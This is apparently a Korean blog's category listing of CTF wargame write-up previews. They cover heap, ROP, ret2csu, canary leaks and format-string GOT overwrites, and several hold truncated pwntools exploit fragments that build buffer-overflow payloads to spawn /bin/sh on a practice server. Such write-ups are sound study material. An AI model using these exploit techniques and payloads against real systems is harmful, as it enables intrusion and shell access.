목록wargame (207)
내가 원하는 사이즈로 malloc할당이 가능하며 지울 수도 있다. 출력 및 업데이트가 가능하다. 0번 메뉴인 malloc을 할당하는 함수이다. 내가 원하는 size로 malloc을 할당하고 0x80크기의 malloc이 또 하나 할당된다. 내가 입력한 size malloc : text 0x80 크기의 malloc : name name안에 text의 주소가 들어 간다. 전역 변수 store에 name의 주소가 들어간다. 1번 메뉴이다. 초기화한 후 0을 넣는다. store변수를 통해 값을 출력한다. update_desc함수이다. 조건문을 지나고 입력을 받는다. 조건문은 overflow를 방지한 듯하다. 힙을 할당받은 상태이다. 두 번 할당받은 상태이다. 여기서 0번 인덱스를 free 하고 0x80 크기를 할..
카나리가 걸려있다. 데이터를 입력하면 이상한 문자들이 출력된다. 0x31만큼만 암호화를 진행한다. 그리고 src의 0x39만큼 dest에 복사를 한다. 빨간색 표시된 부분의 위쪽이 카나리이고 아래쪽이 ret주소이다. printf함수가 널 바이트까지 출력한다는 것을 이용해 canary를 leak 한다. canary를 leak 하였다. 그 후 ret까지 bof를 일으킨 후 rop를 진행하려 했다. puts의 실제 주소를 출력하려 했으나 이상하게 안된다. 여기서 수많은 시간을 삽질했다. 그래서 scanf를 이용하기로 했다. from pwn import * p = remote("ctf.j0n9hyun.xyz",3027) #p = process("./World_best_encryption_tool") contex..
레지스터에 값을 입력받을 수 있다. main함수이다. 값을 입력받는 코드이다. signal함수는 특정 번호가 실행되었을 때 handler를 반환한다. 14번은 SIGALRM이다. main함수의 alarm에 의해 5초가 지나면 14번이 전송될 것이다. handler에는 syscall이 있다. rax 0번은 read이므로 data영역에 /bin/sh을 입력해준다. rax 59번은 execve함수이다. data영역을 인자로 실행시켜준다.
이번에도 rop문제인데 가젯이 없다. 하나밖에 없다. csu내부에 있는 함수를 이용하도록 한다. rdx, rsi, rdi가 있기에 사용할 수 있다. loc_4006b6에서 레지스터들의 값을 읽고 loc_4006a0에서 rdx rsi rdi로 옮긴다. from pwn import * p = remote("ctf.j0n9hyun.xyz",3025) context.log_level = "Debug" elf = ELF("./rtc") libc = ELF("./libc.so.6") pr = 0x4006c3 csu_2 = 0x4006a0 csu_1 = 0x4006ba bss = 0x601048 binsh = "/bin/sh\x00" payload = "A"*72 payload += p64(csu_1) payload..
stripped가 되어있다. 디버깅이 불가능하다. system함수와 /bin/sh을 찾을 수 없다. read함수 내에 있는 syscall을 이용하도록 한다. rax에 59를 넣고 syscall을 하면 execve()가 실행이 된다. 이것을 이용한다. 가젯을 모은다. /bin/sh을 입력할 공간을 찾는다. bss영역은 이미 사용중이다. 넉넉하게 0x601080에 입력하도록 한다. from pwn import * p = remote("ctf.j0n9hyun.xyz",3024) context.log_level = "Debug" elf = ELF("./sysrop") main = 0x4005f2 data = 0x601080 ppppr = 0x4005ea #rax rdx rdi rsi ret pppr = 0x40..
rop를 통해 푼다. 가젯을 모은다 fgets의 실제 주소를 출력하여 라이브러리 버전을 파악한다. libc database를 이용했다.
동작하면 입력을 받고 다시 출력을 해준다. 그 아래 실버라고 출력된다. 많이 입력하면 플레티넘이고 나온다. bof의 가능성도 생각했다. fsb도 발생한다. v6변수의 값에 따라 get_tier함수에서 티어가 반환된다. 티어가 챌린저이면 flag를 획득한다. fsb를 이용해 printf의 got주소를 play_game주소로 바꾸는 동시에 v6의 값을 \xff로 바꿔주도록 한다. 64bit fsb는 32bit랑 다르다. 덮을 주소를 먼저 넣어준다. 6 + len(페이로드 길이) / 8로 인해 %8$ln을 넣어준다. ln은 3byte를 덮을 것이기 때문에 사용했다. 2byte는 hn 1byte는 hhn이다. A는 패딩이다. 16byte의 길이가 나올 것이다. 덮일 주소를 넣는다. 마지막으로 bof를 일으켜 \..
ROP는 이제 많이 해서 익숙하다. 우리가 사용할수있는 함수는 write와 read함수이다. gadget들을 모았다. from pwn import * p = remote("ctf.j0n9hyun.xyz",3021) #p = process("./rop") context.log_level = "Debug" elf = ELF("./rop") libc = ELF("./libc.so.6") pppr = 0x8048509 bss = elf.get_section_by_name(".bss").header.sh_addr binsh_offset = next(libc.search("/bin/sh\x00")) payload = "A"*140 payload += p32(elf.plt['write']) payload += p32..